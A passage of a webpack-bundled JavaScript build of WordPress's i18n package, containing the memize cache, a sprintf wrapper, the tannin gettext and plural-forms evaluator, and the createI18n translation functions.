/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  __: () => (/* reexport */ __),
  _n: () => (/* reexport */ _n),
  _nx: () => (/* reexport */ _nx),
  _x: () => (/* reexport */ _x),
  createI18n: () => (/* reexport */ createI18n),
  defaultI18n: () => (/* reexport */ default_i18n),
  getLocaleData: () => (/* reexport */ getLocaleData),
  hasTranslation: () => (/* reexport */ hasTranslation),
  isRTL: () => (/* reexport */ isRTL),
  resetLocaleData: () => (/* reexport */ resetLocaleData),
  setLocaleData: () => (/* reexport */ setLocaleData),
  sprintf: () => (/* reexport */ sprintf_sprintf),
  subscribe: () => (/* reexport */ subscribe)
});

;// ./node_modules/memize/dist/index.js
/**
 * Memize options object.
 *
 * @typedef MemizeOptions
 *
 * @property {number} [maxSize] Maximum size of the cache.
 */

/**
 * Internal cache entry.
 *
 * @typedef MemizeCacheNode
 *
 * @property {?MemizeCacheNode|undefined} [prev] Previous node.
 * @property {?MemizeCacheNode|undefined} [next] Next node.
 * @property {Array<*>}                   args   Function arguments for cache
 *                                               entry.
 * @property {*}                          val    Function result.
 */

/**
 * Properties of the enhanced function for controlling cache.
 *
 * @typedef MemizeMemoizedFunction
 *
 * @property {()=>void} clear Clear the cache.
 */

/**
 * Accepts a function to be memoized, and returns a new memoized function, with
 * optional options.
 *
 * @template {(...args: any[]) => any} F
 *
 * @param {F}             fn        Function to memoize.
 * @param {MemizeOptions} [options] Options object.
 *
 * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function.
 */
function memize(fn, options) {
	var size = 0;

	/** @type {?MemizeCacheNode|undefined} */
	var head;

	/** @type {?MemizeCacheNode|undefined} */
	var tail;

	options = options || {};

	function memoized(/* ...args */) {
		var node = head,
			len = arguments.length,
			args,
			i;

		searchCache: while (node) {
			// Perform a shallow equality test to confirm that whether the node
			// under test is a candidate for the arguments passed. Two arrays
			// are shallowly equal if their length matches and each entry is
			// strictly equal between the two sets. Avoid abstracting to a
			// function which could incur an arguments leaking deoptimization.

			// Check whether node arguments match arguments length
			if (node.args.length !== arguments.length) {
				node = node.next;
				continue;
			}

			// Check whether node arguments match arguments values
			for (i = 0; i < len; i++) {
				if (node.args[i] !== arguments[i]) {
					node = node.next;
					continue searchCache;
				}
			}

			// At this point we can assume we've found a match

			// Surface matched node to head if not already
			if (node !== head) {
				// As tail, shift to previous. Must only shift if not also
				// head, since if both head and tail, there is no previous.
				if (node === tail) {
					tail = node.prev;
				}

				// Adjust siblings to point to each other. If node was tail,
				// this also handles new tail's empty `next` assignment.
				/** @type {MemizeCacheNode} */ (node.prev).next = node.next;
				if (node.next) {
					node.next.prev = node.prev;
				}

				node.next = head;
				node.prev = null;
				/** @type {MemizeCacheNode} */ (head).prev = node;
				head = node;
			}

			// Return immediately
			return node.val;
		}

		// No cached value found. Continue to insertion phase:

		// Create a copy of arguments (avoid leaking deoptimization)
		args = new Array(len);
		for (i = 0; i < len; i++) {
			args[i] = arguments[i];
		}

		node = {
			args: args,

			// Generate the result from original function
			val: fn.apply(null, args),
		};

		// Don't need to check whether node is already head, since it would
		// have been returned above already if it was

		// Shift existing head down list
		if (head) {
			head.prev = node;
			node.next = head;
		} else {
			// If no head, follows that there's no tail (at initial or reset)
			tail = node;
		}

		// Trim tail if we're reached max size and are pending cache insertion
		if (size === /** @type {MemizeOptions} */ (options).maxSize) {
			tail = /** @type {MemizeCacheNode} */ (tail).prev;
			/** @type {MemizeCacheNode} */ (tail).next = null;
		} else {
			size++;
		}

		head = node;

		return node.val;
	}

	memoized.clear = function () {
		head = null;
		tail = null;
		size = 0;
	};

	// Ignore reason: There's not a clear solution to create an intersection of
	// the function with additional properties, where the goal is to retain the
	// function signature of the incoming argument and add control properties
	// on the return value.

	// @ts-ignore
	return memoized;
}



// EXTERNAL MODULE: ./node_modules/sprintf-js/src/sprintf.js
var sprintf = __webpack_require__(2058);
var sprintf_default = /*#__PURE__*/__webpack_require__.n(sprintf);
;// ./node_modules/@wordpress/i18n/build-module/sprintf.js
/**
 * External dependencies
 */



/**
 * Log to console, once per message; or more precisely, per referentially equal
 * argument set. Because Jed throws errors, we log these to the console instead
 * to avoid crashing the application.
 *
 * @param {...*} args Arguments to pass to `console.error`
 */
const logErrorOnce = memize(console.error); // eslint-disable-line no-console

/**
 * Returns a formatted string. If an error occurs in applying the format, the
 * original format string is returned.
 *
 * @param {string} format The format of the string to generate.
 * @param {...*}   args   Arguments to apply to the format.
 *
 * @see https://www.npmjs.com/package/sprintf-js
 *
 * @return {string} The formatted string.
 */
function sprintf_sprintf(format, ...args) {
  try {
    return sprintf_default().sprintf(format, ...args);
  } catch (error) {
    if (error instanceof Error) {
      logErrorOnce('sprintf error: \n\n' + error.toString());
    }
    return format;
  }
}

;// ./node_modules/@tannin/postfix/index.js
var PRECEDENCE, OPENERS, TERMINATORS, PATTERN;

/**
 * Operator precedence mapping.
 *
 * @type {Object}
 */
PRECEDENCE = {
	'(': 9,
	'!': 8,
	'*': 7,
	'/': 7,
	'%': 7,
	'+': 6,
	'-': 6,
	'<': 5,
	'<=': 5,
	'>': 5,
	'>=': 5,
	'==': 4,
	'!=': 4,
	'&&': 3,
	'||': 2,
	'?': 1,
	'?:': 1,
};

/**
 * Characters which signal pair opening, to be terminated by terminators.
 *
 * @type {string[]}
 */
OPENERS = [ '(', '?' ];

/**
 * Characters which signal pair termination, the value an array with the
 * opener as its first member. The second member is an optional operator
 * replacement to push to the stack.
 *
 * @type {string[]}
 */
TERMINATORS = {
	')': [ '(' ],
	':': [ '?', '?:' ],
};

/**
 * Pattern matching operators and openers.
 *
 * @type {RegExp}
 */
PATTERN = /<=|>=|==|!=|&&|\|\||\?:|\(|!|\*|\/|%|\+|-|<|>|\?|\)|:/;

/**
 * Given a C expression, returns the equivalent postfix (Reverse Polish)
 * notation terms as an array.
 *
 * If a postfix string is desired, simply `.join( ' ' )` the result.
 *
 * @example
 *
 * ```js
 * import postfix from '@tannin/postfix';
 *
 * postfix( 'n > 1' );
 * // ⇒ [ 'n', '1', '>' ]
 * ```
 *
 * @param {string} expression C expression.
 *
 * @return {string[]} Postfix terms.
 */
function postfix( expression ) {
	var terms = [],
		stack = [],
		match, operator, term, element;

	while ( ( match = expression.match( PATTERN ) ) ) {
		operator = match[ 0 ];

		// Term is the string preceding the operator match. It may contain
		// whitespace, and may be empty (if operator is at beginning).
		term = expression.substr( 0, match.index ).trim();
		if ( term ) {
			terms.push( term );
		}

		while ( ( element = stack.pop() ) ) {
			if ( TERMINATORS[ operator ] ) {
				if ( TERMINATORS[ operator ][ 0 ] === element ) {
					// Substitution works here under assumption that because
					// the assigned operator will no longer be a terminator, it
					// will be pushed to the stack during the condition below.
					operator = TERMINATORS[ operator ][ 1 ] || operator;
					break;
				}
			} else if ( OPENERS.indexOf( element ) >= 0 || PRECEDENCE[ element ] < PRECEDENCE[ operator ] ) {
				// Push to stack if either an opener or when pop reveals an
				// element of lower precedence.
				stack.push( element );
				break;
			}

			// For each popped from stack, push to terms.
			terms.push( element );
		}

		if ( ! TERMINATORS[ operator ] ) {
			stack.push( operator );
		}

		// Slice matched fragment from expression to continue match.
		expression = expression.substr( match.index + operator.length );
	}

	// Push remainder of operand, if exists, to terms.
	expression = expression.trim();
	if ( expression ) {
		terms.push( expression );
	}

	// Pop remaining items from stack into terms.
	return terms.concat( stack.reverse() );
}

;// ./node_modules/@tannin/evaluate/index.js
/**
 * Operator callback functions.
 *
 * @type {Object}
 */
var OPERATORS = {
	'!': function( a ) {
		return ! a;
	},
	'*': function( a, b ) {
		return a * b;
	},
	'/': function( a, b ) {
		return a / b;
	},
	'%': function( a, b ) {
		return a % b;
	},
	'+': function( a, b ) {
		return a + b;
	},
	'-': function( a, b ) {
		return a - b;
	},
	'<': function( a, b ) {
		return a < b;
	},
	'<=': function( a, b ) {
		return a <= b;
	},
	'>': function( a, b ) {
		return a > b;
	},
	'>=': function( a, b ) {
		return a >= b;
	},
	'==': function( a, b ) {
		return a === b;
	},
	'!=': function( a, b ) {
		return a !== b;
	},
	'&&': function( a, b ) {
		return a && b;
	},
	'||': function( a, b ) {
		return a || b;
	},
	'?:': function( a, b, c ) {
		if ( a ) {
			throw b;
		}

		return c;
	},
};

/**
 * Given an array of postfix terms and operand variables, returns the result of
 * the postfix evaluation.
 *
 * @example
 *
 * ```js
 * import evaluate from '@tannin/evaluate';
 *
 * // 3 + 4 * 5 / 6 ⇒ '3 4 5 * 6 / +'
 * const terms = [ '3', '4', '5', '*', '6', '/', '+' ];
 *
 * evaluate( terms, {} );
 * // ⇒ 6.333333333333334
 * ```
 *
 * @param {string[]} postfix   Postfix terms.
 * @param {Object}   variables Operand variables.
 *
 * @return {*} Result of evaluation.
 */
function evaluate( postfix, variables ) {
	var stack = [],
		i, j, args, getOperatorResult, term, value;

	for ( i = 0; i < postfix.length; i++ ) {
		term = postfix[ i ];

		getOperatorResult = OPERATORS[ term ];
		if ( getOperatorResult ) {
			// Pop from stack by number of function arguments.
			j = getOperatorResult.length;
			args = Array( j );
			while ( j-- ) {
				args[ j ] = stack.pop();
			}

			try {
				value = getOperatorResult.apply( null, args );
			} catch ( earlyReturn ) {
				return earlyReturn;
			}
		} else if ( variables.hasOwnProperty( term ) ) {
			value = variables[ term ];
		} else {
			value = +term;
		}

		stack.push( value );
	}

	return stack[ 0 ];
}

;// ./node_modules/@tannin/compile/index.js



/**
 * Given a C expression, returns a function which can be called to evaluate its
 * result.
 *
 * @example
 *
 * ```js
 * import compile from '@tannin/compile';
 *
 * const evaluate = compile( 'n > 1' );
 *
 * evaluate( { n: 2 } );
 * // ⇒ true
 * ```
 *
 * @param {string} expression C expression.
 *
 * @return {(variables?:{[variable:string]:*})=>*} Compiled evaluator.
 */
function compile( expression ) {
	var terms = postfix( expression );

	return function( variables ) {
		return evaluate( terms, variables );
	};
}

;// ./node_modules/@tannin/plural-forms/index.js


/**
 * Given a C expression, returns a function which, when called with a value,
 * evaluates the result with the value assumed to be the "n" variable of the
 * expression. The result will be coerced to its numeric equivalent.
 *
 * @param {string} expression C expression.
 *
 * @return {Function} Evaluator function.
 */
function pluralForms( expression ) {
	var evaluate = compile( expression );

	return function( n ) {
		return +evaluate( { n: n } );
	};
}

;// ./node_modules/tannin/index.js


/**
 * Tannin constructor options.
 *
 * @typedef {Object} TanninOptions
 *
 * @property {string}   [contextDelimiter] Joiner in string lookup with context.
 * @property {Function} [onMissingKey]     Callback to invoke when key missing.
 */

/**
 * Domain metadata.
 *
 * @typedef {Object} TanninDomainMetadata
 *
 * @property {string}            [domain]       Domain name.
 * @property {string}            [lang]         Language code.
 * @property {(string|Function)} [plural_forms] Plural forms expression or
 *                                              function evaluator.
 */

/**
 * Domain translation pair respectively representing the singular and plural
 * translation.
 *
 * @typedef {[string,string]} TanninTranslation
 */

/**
 * Locale data domain. The key is used as reference for lookup, the value an
 * array of two string entries respectively representing the singular and plural
 * translation.
 *
 * @typedef {{[key:string]:TanninDomainMetadata|TanninTranslation,'':TanninDomainMetadata|TanninTranslation}} TanninLocaleDomain
 */

/**
 * Jed-formatted locale data.
 *
 * @see http://messageformat.github.io/Jed/
 *
 * @typedef {{[domain:string]:TanninLocaleDomain}} TanninLocaleData
 */

/**
 * Default Tannin constructor options.
 *
 * @type {TanninOptions}
 */
var DEFAULT_OPTIONS = {
	contextDelimiter: '\u0004',
	onMissingKey: null,
};

/**
 * Given a specific locale data's config `plural_forms` value, returns the
 * expression.
 *
 * @example
 *
 * ```
 * getPluralExpression( 'nplurals=2; plural=(n != 1);' ) === '(n != 1)'
 * ```
 *
 * @param {string} pf Locale data plural forms.
 *
 * @return {string} Plural forms expression.
 */
function getPluralExpression( pf ) {
	var parts, i, part;

	parts = pf.split( ';' );

	for ( i = 0; i < parts.length; i++ ) {
		part = parts[ i ].trim();
		if ( part.indexOf( 'plural=' ) === 0 ) {
			return part.substr( 7 );
		}
	}
}

/**
 * Tannin constructor.
 *
 * @class
 *
 * @param {TanninLocaleData} data      Jed-formatted locale data.
 * @param {TanninOptions}    [options] Tannin options.
 */
function Tannin( data, options ) {
	var key;

	/**
	 * Jed-formatted locale data.
	 *
	 * @name Tannin#data
	 * @type {TanninLocaleData}
	 */
	this.data = data;

	/**
	 * Plural forms function cache, keyed by plural forms string.
	 *
	 * @name Tannin#pluralForms
	 * @type {Object<string,Function>}
	 */
	this.pluralForms = {};

	/**
	 * Effective options for instance, including defaults.
	 *
	 * @name Tannin#options
	 * @type {TanninOptions}
	 */
	this.options = {};

	for ( key in DEFAULT_OPTIONS ) {
		this.options[ key ] = options !== undefined && key in options
			? options[ key ]
			: DEFAULT_OPTIONS[ key ];
	}
}

/**
 * Returns the plural form index for the given domain and value.
 *
 * @param {string} domain Domain on which to calculate plural form.
 * @param {number} n      Value for which plural form is to be calculated.
 *
 * @return {number} Plural form index.
 */
Tannin.prototype.getPluralForm = function( domain, n ) {
	var getPluralForm = this.pluralForms[ domain ],
		config, plural, pf;

	if ( ! getPluralForm ) {
		config = this.data[ domain ][ '' ];

		pf = (
			config[ 'Plural-Forms' ] ||
			config[ 'plural-forms' ] ||
			// Ignore reason: As known, there's no way to document the empty
			// string property on a key to guarantee this as metadata.
			// @ts-ignore
			config.plural_forms
		);

		if ( typeof pf !== 'function' ) {
			plural = getPluralExpression(
				config[ 'Plural-Forms' ] ||
				config[ 'plural-forms' ] ||
				// Ignore reason: As known, there's no way to document the empty
				// string property on a key to guarantee this as metadata.
				// @ts-ignore
				config.plural_forms
			);

			pf = pluralForms( plural );
		}

		getPluralForm = this.pluralForms[ domain ] = pf;
	}

	return getPluralForm( n );
};

/**
 * Translate a string.
 *
 * @param {string}      domain   Translation domain.
 * @param {string|void} context  Context distinguishing terms of the same name.
 * @param {string}      singular Primary key for translation lookup.
 * @param {string=}     plural   Fallback value used for non-zero plural
 *                               form index.
 * @param {number=}     n        Value to use in calculating plural form.
 *
 * @return {string} Translated string.
 */
Tannin.prototype.dcnpgettext = function( domain, context, singular, plural, n ) {
	var index, key, entry;

	if ( n === undefined ) {
		// Default to singular.
		index = 0;
	} else {
		// Find index by evaluating plural form for value.
		index = this.getPluralForm( domain, n );
	}

	key = singular;

	// If provided, context is prepended to key with delimiter.
	if ( context ) {
		key = context + this.options.contextDelimiter + singular;
	}

	entry = this.data[ domain ][ key ];

	// Verify not only that entry exists, but that the intended index is within
	// range and non-empty.
	if ( entry && entry[ index ] ) {
		return entry[ index ];
	}

	if ( this.options.onMissingKey ) {
		this.options.onMissingKey( singular, domain );
	}

	// If entry not found, fall back to singular vs. plural with zero index
	// representing the singular value.
	return index === 0 ? singular : plural;
};

;// ./node_modules/@wordpress/i18n/build-module/create-i18n.js
/**
 * External dependencies
 */


/**
 * @typedef {Record<string,any>} LocaleData
 */

/**
 * Default locale data to use for Tannin domain when not otherwise provided.
 * Assumes an English plural forms expression.
 *
 * @type {LocaleData}
 */
const DEFAULT_LOCALE_DATA = {
  '': {
    /** @param {number} n */
    plural_forms(n) {
      return n === 1 ? 0 : 1;
    }
  }
};

/*
 * Regular expression that matches i18n hooks like `i18n.gettext`, `i18n.ngettext`,
 * `i18n.gettext_domain` or `i18n.ngettext_with_context` or `i18n.has_translation`.
 */
const I18N_HOOK_REGEXP = /^i18n\.(n?gettext|has_translation)(_|$)/;

/**
 * @typedef {(domain?: string) => LocaleData} GetLocaleData
 *
 * Returns locale data by domain in a
 * Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 */
/**
 * @typedef {(data?: LocaleData, domain?: string) => void} SetLocaleData
 *
 * Merges locale data into the Tannin instance by domain. Note that this
 * function will overwrite the domain configuration. Accepts data in a
 * Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 */
/**
 * @typedef {(data?: LocaleData, domain?: string) => void} AddLocaleData
 *
 * Merges locale data into the Tannin instance by domain. Note that this
 * function will also merge the domain configuration. Accepts data in a
 * Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 */
/**
 * @typedef {(data?: LocaleData, domain?: string) => void} ResetLocaleData
 *
 * Resets all current Tannin instance locale data and sets the specified
 * locale data for the domain. Accepts data in a Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 */
/** @typedef {() => void} SubscribeCallback */
/** @typedef {() => void} UnsubscribeCallback */
/**
 * @typedef {(callback: SubscribeCallback) => UnsubscribeCallback} Subscribe
 *
 * Subscribes to changes of locale data
 */
/**
 * @typedef {(domain?: string) => string} GetFilterDomain
 * Retrieve the domain to use when calling domain-specific filters.
 */
/**
 * @typedef {(text: string, domain?: string) => string} __
 *
 * Retrieve the translation of text.
 *
 * @see https://developer.wordpress.org/reference/functions/__/
 */
/**
 * @typedef {(text: string, context: string, domain?: string) => string} _x
 *
 * Retrieve translated string with gettext context.
 *
 * @see https://developer.wordpress.org/reference/functions/_x/
 */
/**
 * @typedef {(single: string, plural: string, number: number, domain?: string) => string} _n
 *
 * Translates and retrieves the singular or plural form based on the supplied
 * number.
 *
 * @see https://developer.wordpress.org/reference/functions/_n/
 */
/**
 * @typedef {(single: string, plural: string, number: number, context: string, domain?: string) => string} _nx
 *
 * Translates and retrieves the singular or plural form based on the supplied
 * number, with gettext context.
 *
 * @see https://developer.wordpress.org/reference/functions/_nx/
 */
/**
 * @typedef {() => boolean} IsRtl
 *
 * Check if current locale is RTL.
 *
 * **RTL (Right To Left)** is a locale property indicating that text is written from right to left.
 * For example, the `he` locale (for Hebrew) specifies right-to-left. Arabic (ar) is another common
 * language written RTL. The opposite of RTL, LTR (Left To Right) is used in other languages,
 * including English (`en`, `en-US`, `en-GB`, etc.), Spanish (`es`), and French (`fr`).
 */
/**
 * @typedef {(single: string, context?: string, domain?: string) => boolean} HasTranslation
 *
 * Check if there is a translation for a given string in singular form.
 */
/** @typedef {import('@wordpress/hooks').Hooks} Hooks */

/**
 * An i18n instance
 *
 * @typedef I18n
 * @property {GetLocaleData}   getLocaleData   Returns locale data by domain in a Jed-formatted JSON object shape.
 * @property {SetLocaleData}   setLocaleData   Merges locale data into the Tannin instance by domain. Note that this
 *                                             function will overwrite the domain configuration. Accepts data in a
 *                                             Jed-formatted JSON object shape.
 * @property {AddLocaleData}   addLocaleData   Merges locale data into the Tannin instance by domain. Note that this
 *                                             function will also merge the domain configuration. Accepts data in a
 *                                             Jed-formatted JSON object shape.
 * @property {ResetLocaleData} resetLocaleData Resets all current Tannin instance locale data and sets the specified
 *                                             locale data for the domain. Accepts data in a Jed-formatted JSON object shape.
 * @property {Subscribe}       subscribe       Subscribes to changes of Tannin locale data.
 * @property {__}              __              Retrieve the translation of text.
 * @property {_x}              _x              Retrieve translated string with gettext context.
 * @property {_n}              _n              Translates and retrieves the singular or plural form based on the supplied
 *                                             number.
 * @property {_nx}             _nx             Translates and retrieves the singular or plural form based on the supplied
 *                                             number, with gettext context.
 * @property {IsRtl}           isRTL           Check if current locale is RTL.
 * @property {HasTranslation}  hasTranslation  Check if there is a translation for a given string.
 */

/**
 * Create an i18n instance
 *
 * @param {LocaleData} [initialData]   Locale data configuration.
 * @param {string}     [initialDomain] Domain for which configuration applies.
 * @param {Hooks}      [hooks]         Hooks implementation.
 *
 * @return {I18n} I18n instance.
 */
const createI18n = (initialData, initialDomain, hooks) => {
  /**
   * The underlying instance of Tannin to which exported functions interface.
   *
   * @type {Tannin}
   */
  const tannin = new Tannin({});
  const listeners = new Set();
  const notifyListeners = () => {
    listeners.forEach(listener => listener());
  };

  /**
   * Subscribe to changes of locale data.
   *
   * @param {SubscribeCallback} callback Subscription callback.
   * @return {UnsubscribeCallback} Unsubscribe callback.
   */
  const subscribe = callback => {
    listeners.add(callback);
    return () => listeners.delete(callback);
  };

  /** @type {GetLocaleData} */
  const getLocaleData = (domain = 'default') => tannin.data[domain];

  /**
   * @param {LocaleData} [data]
   * @param {string}     [domain]
   */
  const doSetLocaleData = (data, domain = 'default') => {
    tannin.data[domain] = {
      ...tannin.data[domain],
      ...data
    };

    // Populate default domain configuration (supported locale date which omits
    // a plural forms expression).
    tannin.data[domain][''] = {
      ...DEFAULT_LOCALE_DATA[''],
      ...tannin.data[domain]?.['']
    };

    // Clean up cached plural forms functions cache as it might be updated.
    delete tannin.pluralForms[domain];
  };

  /** @type {SetLocaleData} */
  const setLocaleData = (data, domain) => {
    doSetLocaleData(data, domain);
    notifyListeners();
  };

  /** @type {AddLocaleData} */
  const addLocaleData = (data, domain = 'default') => {
    tannin.data[domain] = {
      ...tannin.data[domain],
      ...data,
      // Populate default domain configuration (supported locale date which omits
      // a plural forms expression).
      '': {
        ...DEFAULT_LOCALE_DATA[''],
        ...tannin.data[domain]?.[''],
        ...data?.['']
      }
    };

    // Clean up cached plural forms functions cache as it might be updated.
    delete tannin.pluralForms[domain];
    notifyListeners();
  };

  /** @type {ResetLocaleData} */
  const resetLocaleData = (data, domain) => {
    // Reset all current Tannin locale data.
    tannin.data = {};

    // Reset cached plural forms functions cache.
    tannin.pluralForms = {};
    setLocaleData(data, domain);
  };

  /**
   * Wrapper for Tannin's `dcnpgettext`. Populates default locale data if not
   * otherwise previously assigned.
   *
   * @param {string|undefined} domain   Domain to retrieve the translated text.
   * @param {string|undefined} context  Context information for the translators.
   * @param {string}           single   Text to translate if non-plural. Used as
   *                                    fallback return value on a caught error.
   * @param {string}           [plural] The text to be used if the number is
   *                                    plural.
   * @param {number}           [number] The number to compare against to use
   *                                    either the singular or plural form.
   *
   * @return {string} The translated string.
   */
  const dcnpgettext = (domain = 'default', context, single, plural, number) => {
    if (!tannin.data[domain]) {
      // Use `doSetLocaleData` to set silently, without notifying listeners.
      doSetLocaleData(undefined, domain);
    }
    return tannin.dcnpgettext(domain, context, single, plural, number);
  };

  /** @type {GetFilterDomain} */
  const getFilterDomain = (domain = 'default') => domain;

  /** @type {__} */
  const __ = (text, domain) => {
    let translation = dcnpgettext(domain, undefined, text);
    if (!hooks) {
      return translation;
    }

    /**
     * Filters text with its translation.
     *
     * @param {string} translation Translated text.
     * @param {string} text        Text to translate.
     * @param {string} domain      Text domain. Unique identifier for retrieving translated strings.
     */
    translation = /** @type {string} */
    /** @type {*} */hooks.applyFilters('i18n.gettext', translation, text, domain);
    return /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.gettext_' + getFilterDomain(domain), translation, text, domain);
  };

  /** @type {_x} */
  const _x = (text, context, domain) => {
    let translation = dcnpgettext(domain, context, text);
    if (!hooks) {
      return translation;
    }

    /**
     * Filters text with its translation based on context information.
     *
     * @param {string} translation Translated text.
     * @param {string} text        Text to translate.
     * @param {string} context     Context information for the translators.
     * @param {string} domain      Text domain. Unique identifier for retrieving translated strings.
     */
    translation = /** @type {string} */
    /** @type {*} */hooks.applyFilters('i18n.gettext_with_context', translation, text, context, domain);
    return /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.gettext_with_context_' + getFilterDomain(domain), translation, text, context, domain);
  };

  /** @type {_n} */
  const _n = (single, plural, number, domain) => {
    let translation = dcnpgettext(domain, undefined, single, plural, number);
    if (!hooks) {
      return translation;
    }

    /**
     * Filters the singular or plural form of a string.
     *
     * @param {string} translation Translated text.
     * @param {string} single      The text to be used if the number is singular.
     * @param {string} plural      The text to be used if the number is plural.
     * @param {string} number      The number to compare against to use either the singular or plural form.
     * @param {string} domain      Text domain. Unique identifier for retrieving translated strings.
     */
    translation = /** @type {string} */
    /** @type {*} */hooks.applyFilters('i18n.ngettext', translation, single, plural, number, domain);
    return /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.ngettext_' + getFilterDomain(domain), translation, single, plural, number, domain);
  };

  /** @type {_nx} */
  const _nx = (single, plural, number, context, domain) => {
    let translation = dcnpgettext(domain, context, single, plural, number);
    if (!hooks) {
      return translation;
    }

    /**
     * Filters the singular or plural form of a string with gettext context.
     *
     * @param {string} translation Translated text.
     * @param {string} single      The text to be used if the number is singular.
     * @param {string} plural      The text to be used if the number is plural.
     * @param {string} number      The number to compare against to use either the singular or plural form.
     * @param {string} context     Context information for the translators.
     * @param {string} domain      Text domain. Unique identifier for retrieving translated strings.
     */
    translation = /** @type {string} */
    /** @type {*} */hooks.applyFilters('i18n.ngettext_with_context', translation, single, plural, number, context, domain);
    return /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.ngettext_with_context_' + getFilterDomain(domain), translation, single, plural, number, context, domain);
  };

  /** @type {IsRtl} */
  const isRTL = () => {
    return 'rtl' === _x('ltr', 'text direction');
  };

  /** @type {HasTranslation} */
  const hasTranslation = (single, context, domain) => {
    const key = context ? context + '\u0004' + single : single;
    let result = !!tannin.data?.[domain !== null && domain !== void 0 ? domain : 'default']?.[key];
    if (hooks) {
      /**
       * Filters the presence of a translation in the locale data.
       *
       * @param {boolean} hasTranslation Whether the translation is present or not..
       * @param {string}  single         The singular form of the translated text (used as key in locale data)
       * @param {string}  context        Context information for the translators.
       * @param {string}  domain         Text domain. Unique identifier for retrieving translated strings.
       */
      result = /** @type { boolean } */
      /** @type {*} */hooks.applyFilters('i18n.has_translation', result, single, context, domain);
      result = /** @type { boolean } */
      /** @type {*} */hooks.applyFilters('i18n.has_translation_' + getFilterDomain(domain), result, single, context, domain);
    }
    return result;
  };
  if (initialData) {
    setLocaleData(initialData, initialDomain);
  }
  if (hooks) {
    /**
     * @param {string} hookName
     */
    const onHookAddedOrRemoved = hookName => {
      if (I18N_HOOK_REGEXP.test(hookName)) {
        notifyListeners();
      }
    };
    hooks.addAction('hookAdded', 'core/i18n', onHookAddedOrRemoved);
    hooks.addAction('hookRemoved', 'core/i18n', onHookAddedOrRemoved);
  }
  return {
    getLocaleData,
    setLocaleData,
    addLocaleData,
    resetLocaleData,
    subscribe,
    __,
    _x,
    _n,
    _nx,
    isRTL,
    hasTranslation
  };
};

;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// ./node_modules/@wordpress/i18n/build-module/default-i18n.js
/**
 * Internal dependencies
 */


/**
 * WordPress dependencies
 */

const i18n = createI18n(undefined, undefined, external_wp_hooks_namespaceObject.defaultHooks);

/**
 * Default, singleton instance of `I18n`.
 */
/* harmony default export */ const default_i18n = (i18n);

/*
 * Comments in this file are duplicated from ./i18n due to
 * https://github.com/WordPress/gutenberg/pull/20318#issuecomment-590837722
 */

/**
 * @typedef {import('./create-i18n').LocaleData} LocaleData
 * @typedef {import('./create-i18n').SubscribeCallback} SubscribeCallback
 * @typedef {import('./create-i18n').UnsubscribeCallback} UnsubscribeCallback
 */

/**
 * Returns locale data by domain in a Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 *
 * @param {string} [domain] Domain for which to get the data.
 * @return {LocaleData} Locale data.
 */
const getLocaleData = i18n.getLocaleData.bind(i18n);

/**
 * Merges locale data into the Tannin instance by domain. Accepts data in a
 * Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 *
 * @param {LocaleData} [data]   Locale data configuration.
 * @param {string}     [domain] Domain for which configuration applies.
 */
const setLocaleData = i18n.setLocaleData.bind(i18n);

/**
 * Resets all current Tannin instance locale data and sets the specified
 * locale data for the domain. Accepts data in a Jed-formatted JSON object shape.
 *
 * @see http://messageformat.github.io/Jed/
 *
 * @param {LocaleData} [data]   Locale data configuration.
 * @param {string}     [domain] Domain for which configuration applies.
 */
const resetLocaleData = i18n.resetLocaleData.bind(i18n);

/**
 * Subscribes to changes of locale data
 *
 * @param {SubscribeCallback} callback Subscription callback
 * @return {UnsubscribeCallback} Unsubscribe callback
 */
const subscribe = i18n.subscribe.bind(i18n);

/**
 * Retrieve the translation of text.
 *
 * @see https://developer.wordpress.org/reference/functions/__/
 *
 * @param {string} text     Text to translate.
 * @param {string} [domain] Domain to retrieve the translated text.
 *
 * @return {string} Translated text.
 */
const __ = i18n.__.bind(i18n);

/**
 * Retrieve translated string with gettext context.
 *
 * @see https://developer.wordpress.org/reference/functions/_x/
 *
 * @param {string} text     Text to translate.
 * @param {string} context  Context information for the translators.
 * @param {string} [domain] Domain to retrieve the translated text.
 *
 * @return {string} Translated context string without pipe.
 */
const _x = i18n._x.bind(i18n);

/**
 * Translates and retrieves the singular or plural form based on the supplied
 * number.
 *
 * @see https://developer.wordpress.org/reference/functions/_n/
 *
